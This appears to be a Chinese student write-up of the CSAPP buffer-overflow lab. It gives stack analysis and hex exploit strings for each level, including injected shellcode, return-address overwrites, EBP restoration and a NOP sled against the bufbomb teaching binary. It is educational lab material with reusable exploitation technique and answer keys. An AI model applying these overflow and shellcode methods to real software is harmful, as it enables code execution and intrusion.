【csapp】bufferlab
实验要求
- Level 0 test 运行完后，不直接返回退出，而是跳到smoke函数处，继续运行，当 smoke 运行完毕后退出
- Level 1 在 Level 0 的基础上，使 getbuf 函数的返回指向 fizz 函数，同时将 fizz 函数的参数置为 userid 对应的 cookie 值
- Level 2 使 getbuf 调用后不执行 test 函数，而是执行 bang 函数，但是同时要修改global_value 的值为 cookie 值
- Level 3 使 getbuf 调用后，返回到 test 当中，但是不能破坏为 test 函数维护的堆栈状态，同时要让 test 函数调用 getbuf 后的返回值为自己的 cookie
- Level 4 要求和 Level 3 一致，但需要加上 –n 参数运行 bufbomb，此时会进入 testn 和 getbufn 函数而不是 test 和 getbuf 函数
实验内容
Level 0
反汇编得到getbuf函数的汇编代码：
08049342 <getbuf>:
8049342: 55 push %ebp
8049343: 89 e5 mov %esp,%ebp
8049345: 83 ec 38 sub $0x38,%esp
8049348: 83 ec 0c sub $0xc,%esp
804934b: 8d 45 ce lea -0x32(%ebp),%eax
804934e: 50 push %eax
804934f: e8 ba fa ff ff call 8048e0e <Gets>
8049354: 83 c4 10 add $0x10,%esp
8049357: b8 01 00 00 00 mov $0x1,%eax
804935c: c9 leave
804935d: c3 ret
可以发现-0x32(%ebp)作为参数传给Gets，也就是我们输入的字符串的首地址就是ebp-0x32，输入的内容存放在从此向上的位置，转换成十进制就是ebp-50，画出getbuf大致的栈帧结构：
需要把返回地址修改为smoke的起始地址，中间需要填充50+4个字节的内容，也就是填写五十个字符。
再看一下smoke的起始地址：
所以答案就有了：
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
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00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00
a1 8b 04 08 /* smoke入口 */
测试一下可以通过：
Level 1
这题要求在上题输入的字符串的基础上插入一个参数cookie，从上图中也可以看出这个cookie的值是0x180f29c9，对应的字符串序列就是c9 29 0f 18，重点在于这段字符要插入到哪里。
首先看fizz的反汇编：
08048bce <fizz>:
8048bce: 55 push %ebp
8048bcf: 89 e5 mov %esp,%ebp
8048bd1: 83 ec 08 sub $0x8,%esp
8048bd4: 8b 55 08 mov 0x8(%ebp),%edx
8048bd7: a1 38 d1 04 08 mov 0x804d138,%eax
8048bdc: 39 c2 cmp %eax,%edx
8048bde: 75 22 jne 8048c02 <fizz+0x34>
8048be0: 83 ec 08 sub $0x8,%esp
8048be3: ff 75 08 push 0x8(%ebp)
8048be6: 68 4b a3 04 08 push $0x804a34b
8048beb: e8 50 fc ff ff call 8048840 <printf@plt>
8048bf0: 83 c4 10 add $0x10,%esp
8048bf3: 83 ec 0c sub $0xc,%esp
8048bf6: 6a 01 push $0x1
8048bf8: e8 c2 08 00 00 call 80494bf <validate>
8048bfd: 83 c4 10 add $0x10,%esp
8048c00: eb 13 jmp 8048c15 <fizz+0x47>
8048c02: 83 ec 08 sub $0x8,%esp
8048c05: ff 75 08 push 0x8(%ebp)
8048c08: 68 6c a3 04 08 push $0x804a36c
8048c0d: e8 2e fc ff ff call 8048840 <printf@plt>
8048c12: 83 c4 10 add $0x10,%esp
8048c15: 83 ec 0c sub $0xc,%esp
8048c18: 6a 00 push $0x0
8048c1a: e8 01 fd ff ff call 8048920 <exit@plt> <fizz>:
8048bce: 55 push %ebp
8048bcf: 89 e5 mov %esp,%ebp
8048bd1: 83 ec 08 sub $0x8,%esp
8048bd4: 8b 55 08 mov 0x8(%ebp),%edx
8048bd7: a1 38 d1 04 08 mov 0x804d138,%eax
8048bdc: 39 c2 cmp %eax,%edx
8048bde: 75 22 jne 8048c02 <fizz+0x34>
8048be0: 83 ec 08 sub $0x8,%esp
8048be3: ff 75 08 push 0x8(%ebp)
8048be6: 68 4b a3 04 08 push $0x804a34b
8048beb: e8 50 fc ff ff call 8048840 <printf@plt>
8048bf0: 83 c4 10 add $0x10,%esp
8048bf3: 83 ec 0c sub $0xc,%esp
8048bf6: 6a 01 push $0x1
8048bf8: e8 c2 08 00 00 call 80494bf <validate>
8048bfd: 83 c4 10 add $0x10,%esp
8048c00: eb 13 jmp 8048c15 <fizz+0x47>
8048c02: 83 ec 08 sub $0x8,%esp
8048c05: ff 75 08 push 0x8(%ebp)
8048c08: 68 6c a3 04 08 push $0x804a36c
8048c0d: e8 2e fc ff ff call 8048840 <printf@plt>
8048c12: 83 c4 10 add $0x10,%esp
8048c15: 83 ec 0c sub $0xc,%esp
8048c18: 6a 00 push $0x0
8048c1a: e8 01 fd ff ff call 8048920 <exit@plt>
fizz的地址是0x8048bce。ebp+4是调用者返回地址，应修改为fizz的地址，ebp+8是参数的地址，所以应该把这个位置修改为cookie，所以答案就有了：
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00
ce 8b 04 08 /* fizz入口地址 */
00 00 00 00
c9 29 0f 18 /* fizz参数地址 */
测试一下可以通过：
Level 2
先看bang的反汇编：
08048c1f <bang>:
8048c1f: 55 push %ebp
8048c20: 89 e5 mov %esp,%ebp
8048c22: 83 ec 08 sub $0x8,%esp
8048c25: a1 40 d1 04 08 mov 0x804d140,%eax
8048c2a: 89 c2 mov %eax,%edx
8048c2c: a1 38 d1 04 08 mov 0x804d138,%eax
8048c31: 39 c2 cmp %eax,%edx
8048c33: 75 25 jne 8048c5a <bang+0x3b>
8048c35: a1 40 d1 04 08 mov 0x804d140,%eax
8048c3a: 83 ec 08 sub $0x8,%esp
8048c3d: 50 push %eax
8048c3e: 68 8c a3 04 08 push $0x804a38c
8048c43: e8 f8 fb ff ff call 8048840 <printf@plt>
8048c48: 83 c4 10 add $0x10,%esp
8048c4b: 83 ec 0c sub $0xc,%esp
8048c4e: 6a 02 push $0x2
8048c50: e8 6a 08 00 00 call 80494bf <validate>
8048c55: 83 c4 10 add $0x10,%esp
8048c58: eb 16 jmp 8048c70 <bang+0x51>
8048c5a: a1 40 d1 04 08 mov 0x804d140,%eax
8048c5f: 83 ec 08 sub $0x8,%esp
8048c62: 50 push %eax
8048c63: 68 b1 a3 04 08 push $0x804a3b1
8048c68: e8 d3 fb ff ff call 8048840 <printf@plt>
8048c6d: 83 c4 10 add $0x10,%esp
8048c70: 83 ec 0c sub $0xc,%esp
8048c73: 6a 00 push $0x0
8048c75: e8 a6 fc ff ff call 8048920 <exit@plt>
bang的入口地址是0x08048c1f，由8048c25: a1 40 d1 04 08 mov 0x804d140, %eax可知global_val的存放地址是0x804d140，可以调试验证一下：
可以先把global_value的值修改为cookie值0x180f29c9，通过mov指令实现这一步。
然后再把bang的入口地址压栈，接着调用ret指令，此时ret会把刚刚压入的地址弹出栈并跳转执行。
所以需要插入指令如下：
mov $0x180f29c9, 0x804d140
push $0x08048c1f
ret
然后把它转换为机器码，这里我是用的方法是先创建一个temp.s文件，然后在文件中填充上述汇编指令。通过gcc -c temp.s将其编译成temp.o文件，然后通过objdump -d -S temp.o文件将其对应的汇编代码和机器码都打印出来，得到的结果如下：
0000000000000000 <.text>:
0: c7 04 25 40 d1 04 08 movl $0x180f29c9,0x804d140
7: c9 29 0f 18
b: 68 1f 8c 04 08 push $0x8048c1f
10: c3 ret
现在代码有了，假设把代码插入到一开始输入的位置，也就是ebp-50，可以把返回地址改为我们插入的位置，这样getbuf函数ret后就会跳转到我们插入的指令，最终执行bang。
所以需要知道ebp-50的具体值，在getbuf调用Gets之前看一下eax的值就可以得到：
所以返回地址填充为：0x55683c9e，于是可以构造如下答案：
c7 04 25 40 d1 04 08 c9 29 0f 18 68 1f 8c 04 08 c3 /* 攻击代码 */
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00
9e 3c 68 55 /* 攻击代码地址 */
测试通过：
Level 3
getbuf()的返回值存储在eax中，所以把eax的值修改为cookie即可。
这里还是采用和level2一样的方法，先用mov指令修改eax，此时要求程序正常返回，也就是要执行调用完getbuf()的下一行指令，查看test函数可以得到地址0x8048c8d：
所以可以插入指令：
mov $0x180f29c9, %eax
push $0x08048c8d
ret
用同样的方法得到机器码：
0000000000000000 <.text>:
0: b8 c9 29 0f 18 mov $0x180f29c9,%eax
5: 68 8d 8c 04 08 push $0x8048c8d
a: c3
题目还要求恢复原来的ebp，因为要从getbuf到test，所以应该在getbuf的第一行打个断点记录此时ebp的值为0x55683cf0：
这个在构造答案的时候，对应ebp的位置本来是几就填充几就好了，也就是返回地址前面四个字节就填充0x55683cf0。
所以构造答案如下：
b8 c9 29 0f 18 68 8d 8c 04 08 c3 /* 攻击代码 */
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00
f0 3c 68 55 /* ebp原值 */
9e 3c 68 55 /* 攻击代码地址 */
测试通过：
Level 4
这道题要求使用-n命令运行bufbomb，使其开启栈随机化，这样就导致每次调用时栈空间不一样。这个阶段会调用五次getbufn，每次存储的ebp的值不一样，差值在±240，可以看一下每次的取值：
先看一下getbufn的反汇编：
0804935e <getbufn>:
804935e: 55 push %ebp
804935f: 89 e5 mov %esp,%ebp
8049361: 81 ec c8 02 00 00 sub $0x2c8,%esp
8049367: 83 ec 0c sub $0xc,%esp
804936a: 8d 85 3e fd ff ff lea -0x2c2(%ebp),%eax
8049370: 50 push %eax
8049371: e8 98 fa ff ff call 8048e0e <Gets>
8049376: 83 c4 10 add $0x10,%esp
8049379: b8 01 00 00 00 mov $0x1,%eax
804937e: c9 leave
804937f: c3 ret
此时buf的首地址为ebp-706，给buf开辟了706个字节的空间。
文档中提到了利用nop指令，查阅资料得知nop指令的机器代码为0x90，功能是使程序计数器加一，也就是一个一个地跳指令。
我们要做的是找出ebp出现过的最大值0x55683cd0，再减去0x2c2，即是最高的buf起始地址：0x55683a0e。应该让程序跳转到最高的buf地址，然后一路nop，一直走到攻击代码。即返回地址应该填充0x55683a0e。
接下来需要还原ebp。观察testn的部分代码：
08048cf4 <testn>:
8048cf4: 55 push %ebp
8048cf5: 89 e5 mov %esp,%ebp
8048cf7: 83 ec 18 sub $0x18,%esp
8048cfa: e8 ce 03 00 00 call 80490cd <uniqueval>
8048cff: 89 45 f0 mov %eax,-0x10(%ebp)
8048d02: e8 57 06 00 00 call 804935e <getbufn>
8048d07: 89 45 f4 mov %eax,-0xc(%ebp)
8048d0a: e8 be 03 00 00 call 80490cd <uniqueval>
每次的ebp是会变的，但esp是不变的，所以可以通过esp间接计算ebp的值进行还原。后面减去了0x18，所以ebp=esp+0x18。可以通过指令lea 0x18(%esp), %ebp来还原getbuf开始时ebp的值。
此外还要修改eax的值为cookie，这就跟此前一样了：mov $0x180f29c9, %eax。
之后程序要跳转到调用getbufn的下一句继续执行，也就是0x08048d07。
所以攻击代码就有了：
lea 0x18(%esp), %ebp
mov $0x180f29c9, %eax
push $0x8048d07
ret
转换为对应的机器码：
0000000000000000 <.text>:
0: 8d 6c 24 18 lea 0x18(%esp),%ebp
5: b8 c9 29 0f 18 mov $0x180f29c9,%eax
a: 68 07 8d 04 08 push $0x8048d07
f: c3 ret
这里出了点小问题，我转出来的lea指令实际是67 8d 6c 24 18，但是就是过不去，把67删掉就对了。
接下来构造攻击字符串，buf需要填充706(buf的大小)+4(ebp旧值)+4(返回地址)=714个字节，攻击代码要尽可能靠后填，所以前一部分填充nop指令(0x90)，剩下的填充攻击代码和返回地址。其中返回地址填充buf的最大起始地址，也就是0x55683a0e，放在最后4个字节。紧跟着前面就是攻击代码的机器码，共计15个字节，前面的695个字节全部填充nop，所以构造字符串如下：
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90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 /* 695个nop */
b8 c9 29 0f 18 8d 6c 24 18 68 07 8d 04 08 c3 /* 攻击代码 */
0e 3a 68 55 /* 返回地址 */
测试通过：
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